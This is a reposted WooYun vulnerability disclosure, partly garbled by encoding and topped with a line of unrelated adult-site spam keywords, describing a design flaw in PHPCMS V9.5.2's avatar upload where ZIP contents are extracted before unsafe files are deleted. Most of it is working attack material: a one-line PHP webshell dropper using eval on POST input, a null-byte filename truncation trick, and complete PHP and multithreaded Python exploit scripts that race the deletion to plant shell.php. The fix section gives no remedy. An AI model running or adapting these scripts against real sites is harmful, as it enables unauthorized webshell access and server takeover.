久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

PHPCMS前臺設計缺陷導致任意代碼執(zhí)行 | WooYun

 quasiceo 2015-01-16

披露狀態(tài):

2014-01-25: 細節(jié)已通知廠商并且等待廠商處理中
2014-01-26: 廠商已經(jīng)確認,細節(jié)僅向廠商公開
2014-01-29: 細節(jié)向第三方安全合作伙伴開放
2014-02-05: 細節(jié)向核心白帽子及相關(guān)領(lǐng)域?qū)<夜_
2014-02-15: 細節(jié)向普通白帽子公開
2014-03-07: 細節(jié)向?qū)嵙暟酌弊庸_
2014-04-25: 細節(jié)向公眾公開

簡要描述:

PHPCMS前臺存在嚴重設計缺陷
利用這個設計缺陷可導致任意代碼/命令執(zhí)行,當然可Getshell.

但PHPCMS代碼執(zhí)行不是這篇文章的主題,今天的主題是:
主題一:給大家介紹一種通用的設計缺陷,希望能引起各個廠商重視,以及由此衍生出來的一種比較新穎的漏洞利用方法,此設計缺陷目前我已在多個CMS上證明.
主題二:我想說的是當我們有任何奇思妙想的時候,哪怕這個想法"不切實際",、"不可能",,只要我們想方設法去實踐,就會有意想不到的效果,這個漏洞就是證明.

PS: 明天放假了,在這里祝大家新年快樂!

詳細說明:

#1 前言

猛獸來了,我們應該將其絕殺在門外,但是有些人非得把它放進屋內(nèi),才殺之,你們難道不知道猛獸的嘴里可能叼了一個炸藥包嗎? 砰!!!結(jié)果全都完完了…

#2 叼著炸藥包的猛獸來了

請先看下面這段代碼

code 區(qū)域
<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
//...
unlink($_GET['dst']);
//...
}
?>



這段代碼實際意義不大,不過,沒關(guān)系我們重在研究嘛,一種典型的”將猛獸放進室內(nèi),才殺之”的案例,,我們來看看

code 區(qū)域
猛獸放進室內(nèi):copy($_GET['src'],$_GET['dst']);



code 區(qū)域
這條猛獸不安全,殺之:unlink($_GET['dst']);



code 區(qū)域
炸藥包:$_GET['dst']-->此炸藥包非彼炸藥包,此炸藥包的作用是生成惡意文件 :-)



上述代碼即存在本文所講的設計缺陷

code 區(qū)域
copy($_GET['src'],$_GET['dst']);



可將任意文件copy成惡意文件,如木馬,,后來發(fā)現(xiàn)這個文件不安全,,后面的unlink($_GET['dst']);將之刪除...

但是,,各位廠商們 你們可曾想到這個木馬可能在你們刪除之前,生成了新的木馬文件,結(jié)果可想而知,SO... 還請在設計產(chǎn)品時多考慮考慮....

#3 PHPCMS案例

PHPCMS相應的設計缺陷在上傳頭像的功能處,,我們來看看其代碼

/phpsso_server/phpcms/modules/phpsso/index.php 第572行開始 uploadavatar()函數(shù)

code 區(qū)域
public function uploadavatar() {

//根據(jù)用戶id創(chuàng)建文件夾
if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
$this->uid = $this->data['uid'];
$this->avatardata = $this->data['avatardata'];
} else {
exit('0');
}

$dir1 = ceil($this->uid / 10000);
$dir2 = ceil($this->uid % 10000 / 1000);

//創(chuàng)建圖片存儲文件夾
$avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
if(!file_exists($dir)) {
mkdir($dir, 0777, true);
}
//存儲flashpost圖片
$filename = $dir.$this->uid.'.zip';
file_put_contents($filename, $this->avatardata);

pc_base::load_sys_func('dir');
//解壓縮文件
pc_base::load_app_class('pclzip', 'phpsso', 0);
$archive = new PclZip($filename);
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);

//判斷文件安全,刪除壓縮包和非jpg圖片
$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
$files = glob($dir."*");
foreach($files as $_files) {
if(is_dir($_files)) dir_delete($_files);
if(!in_array(basename($_files), $avatararr)) @unlink($_files);
}
if($handle = opendir($dir)) {
while(false !== ($file = readdir($handle))) {
if($file !== '.' && $file !== '..') {
if(!in_array($file, $avatararr)) {
@unlink($dir.$file);
} else {
$info = @getimagesize($dir.$file);
if(!$info || $info[2] !=2) {
@unlink($dir.$file);
}
}
}
}
closedir($handle);
}
$this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
exit('1');
}



大概意思是解壓ZIP文件,再刪除非jpg文件,,目錄等(看見了吧,產(chǎn)生了#2所述的設計缺陷,典型的引狼入室,再殺之的設計理念),但由于在此處出現(xiàn)過上傳漏洞,增加了這么一行代碼:

code 區(qū)域
$archive->allow_ext = array('jpg');



只允許jpg格式文件,不允許php后綴的文件,這為我們下面的漏洞利用帶來了不少的麻煩,但別急,后面我會講到突破的方法...

#4 突破限制產(chǎn)生php臨時文件

雖然代碼限制了只能是jpg格式的文件,但我們的文件名可以是1.php.php.jpg 對吧,

想到什么沒有呢?對,!采用文件名截斷...行動吧

(為了方便調(diào)試,我們加入如下代碼,即在解壓zip文件后,,刪除非jpg文件前中斷代碼的執(zhí)行)

code 區(qū)域
$archive = new PclZip($filename);
exit('zanting....');//我們添加的調(diào)試代碼
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);



結(jié)果,,成功在目錄下生成了1.php文件

1.jpg



2.jpg



#5 漏洞利用poc

只要有php文件生成那就好辦了,poc構(gòu)想如下:

正常情況:

上傳頭像-->生成臨時文件(1.php)-->刪除非jpg文件

我們想要的情況:

上傳頭像-->生成臨時文件(1.php)-->1.php在上層目錄生成shell.php文件-->刪除1.php等非jpg文件,,留下shell.php文件-->成功

1.php.php.jpg文件的內(nèi)容為:

code 區(qū)域
<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>



同時用數(shù)字填充,,大小為1 2M左右,同時打包為ZIP包,,如圖:

3.jpg



當然為了能順利的利用,,手工是不行的,程序的執(zhí)行多快啊 是吧...

于是我們利用PHP寫出POC,打開至少15個CMD窗口跑起來,模仿多線程嘛,哈哈...

我相信不一會就會在上層目錄生成我們想要的shell.php文件,,POC如下 這里就不演示了...

code 區(qū)域
<?php
/**
* Created by felixk3y
* Date: 14-01-10
* Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...
* Blog: http://weibo.com/rootsafe
*/
error_reporting(7);
if($argc<2){
print "\n\tUsage:exp.php www.vulns.org\n";
exit();
}
$num = 0;
$loop = 0;
$host = $argv[1];
$posts = post();
$shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址
$tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//臨時的php文件,后面會被刪除
//先訪問臨時數(shù)據(jù)包
while(++$loop<6){
echo "正在進行第".$loop."輪嘗試...\n";
while(++$num<11){
echo "正在進行第".$num."次嘗試訪問臨時文件...\n";
_get($host,$tmpfile);
}
$num = 0;
while(++$num<51){
echo "正在進行第".$num."次提交ZIP數(shù)據(jù)包同時試訪問臨時文件...\n";
send_http($host,$posts);//正常提交數(shù)據(jù)包
//if($num%2==0){
_get($host,$tmpfile);
//}
}
$num = 0;
while(++$num<11){
echo "正在進行第".$num."次嘗試訪問臨時文件...\n";
_get($host,$tmpfile);
}
$num = 0;
}
$res = _get($host,$shell);
if(preg_match('/200 OK/',$res)) {
echo "--->Success!\n\n";
}else{
echo "------->Failed!\n\n";
}
function post(){
$asc = hex2asc("00");//目的是截斷1.php.php.jpg為1.php
$repstr = "php".$asc."php";
$data = "";
$fp = fopen('phpcms.zip','r');//phpcms.zip要上傳的數(shù)據(jù)包
while(!feof($fp)){
$data .=fgets($fp);
}
$data = preg_replace('/php\.php/i',$repstr,$data);
return $data;
}
function hex2asc($str){//進制間轉(zhuǎn)換
$str = join('',explode('\x',$str));
$len = strlen($str);
for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function _get($host,$path){ //http get方法
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
$fp = @fsockopen($host,80);
fputs($fp, $headers);
$resp = '';
while (!feof($fp)){
$resp .= fgets($fp, 2048);
}
return $resp;
}
function send_http($host,$post)
{
$data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";
$data .= "Host: www.vulns.org\r\n";
$data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Accept-Encoding: gzip, deflate\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Length: " . strlen($post) . "\r\n\r\n";
$data .= $post . "\r\n";
//echo $data;
$fp = @fsockopen($host,80,$errno,$errstr,30);
if(!$fp){
echo $errno.'-->'.$errstr."\n";
exit('Could not connect to: '.$host);
}else{
fputs($fp, $data);
$back = '';
while(!feof($fp)){
$back .= fgets($fp, 2048);
}
fclose($fp);
}
return $back;
}
?>

漏洞證明:

#6 Exp利用代碼

為了方便利用,,最后我用py寫了最終的EXP,代碼如下

code 區(qū)域
#coding=GB2312
#Date: 2014-01-11 23:50
#Created by felixk3y
#Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit...
#Blog: http://weibo.com/rootsafe

import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt

# postu: 文件上傳post的URL
# shell: 最終生成shell的URL
# tmpfile: 文件上傳生成的臨時文件URL
# postu & shell & tmpfile 這三個參數(shù)根據(jù)具體情況更改
postu = '/install_package/phpsso_server/index.php'
shell = '/install_package/phpsso_server/uploadfile/shell.php'
tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php'

class upload(threading.Thread):
def __init__(self,num,loop,host,header,tmpfile,shell):
threading.Thread.__init__(self)
self.num = num
self.loop = loop
self.host = host
self.header = header
self.shell = '%s%s' % (host,shell)
self.tmpfile = '%s%s' % (host,tmpfile)

def run(self):
while True:
print '正在進行第%d輪嘗試...\n' % self.loop
while(self.num<3):
print '正在進行第%d次嘗試訪問臨時文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在進行第%d次提交ZIP數(shù)據(jù)包同時試訪問臨時文件...' % self.num
self.send_socket(self.host,self.header)
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在進行第%d次嘗試訪問臨時文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.loop += 1
self.num = 1

def _get(self,tmpfile):
try:
response = urllib2.urlopen(tmpfile)
if response.getcode() == 200:
print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
os._exit(1)
except urllib2.HTTPError,e:
pass

def send_socket(self,host,headers):
if 'http://' in host:
host = host.split('/')[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
sock.send(headers)
sock.close()


class ThreadStop(threading.Thread):
def run(self):
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action( q )."
os._exit(1)
except:
os._exit(1)

def usage():
print '\n\tUsage: upload.py <url> '
print '\n\tExp: upload.py www.vulns.org'
os._exit(0)

def hex_to_asc(ch):
ch = int(float.fromhex(ch))
return '{:c}'.format(ch)

def post_data():
postdata = ''
asc = hex_to_asc('00')
repstr = 'php%sphp' % asc
fps = open('phpcms.zip','rb')
for sbin in fps.readlines():
postdata += sbin
postdata = postdata.replace('php.php',repstr)
return postdata

def exploit():
num = 1
loop = 1
threads = []
host = sys.argv[1]
cookie = sys.argv[2]
if 'http://' not in host:
host = 'http://%s' % host

postdata = post_data()
mhost = host.split('/')[2]

dvalue = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ'
params = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue
posturl = '%s?%s' % (postu,params)
header = 'POST %s HTTP/1.1\r\n' % posturl
header += 'Host: %s\r\n' % mhost
header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n'
header += 'Content-Type: application/octet-stream\r\n'
header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
header += 'Content-Length: %d\r\n' % len(postdata)
header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)

shouhu = ThreadStop()
shouhu.setDaemon(True)
shouhu.start()

for i in range(10):#線程數(shù)不能小了
t = upload(num,loop,host,header,tmpfile,shell)
t.start()
threads.append(t)
for th in threads:
t.join()

if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit()





#7 Exp跑起來

code 區(qū)域
phpcms_exp.py www.vulns.org cookie值



效果如下所示

sss.jpg



s.jpg

修復方案:

你們懂.


    本站是提供個人知識管理的網(wǎng)絡存儲空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點,。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導購買等信息,謹防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多